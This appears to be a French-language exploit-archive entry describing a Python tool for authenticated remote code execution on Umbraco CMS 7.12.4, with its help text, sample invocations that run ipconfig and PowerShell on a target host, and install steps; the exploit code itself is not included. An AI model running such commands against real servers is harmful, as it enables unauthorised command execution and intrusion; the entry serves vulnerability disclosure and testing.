
Umbraco CMS 7.12.4 - (Authentifié) Exécution de code à distance
Umbraco CMS 7.12.4 - Exécution de code à distance (authentifié)
[EDB-49488] [PacketStorm] [WLB-2020080012]
$ python exploit.py -h
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS]
Umbraco authenticated RCE
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER username / email
-p PASS, --password PASS password
-i URL, --host URL root URL
-c CMD, --command CMD command
-a ARGS, --arguments ARGS arguments
Exemples :
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c powershell.exe -a '-NoProfile -Command ls'
Exemple pour ArchLinux :
pacman -S python-beautifulsoup4 python-requests
Exemple avec pip :
pip3 install -r requirements.txt
Il s'agit d'une meilleure réécriture de EDB-ID-46153 utilisant des arguments (au lieu de valeurs codées en dur) et avec affichage sur stdout.
Testé avec python 3.8.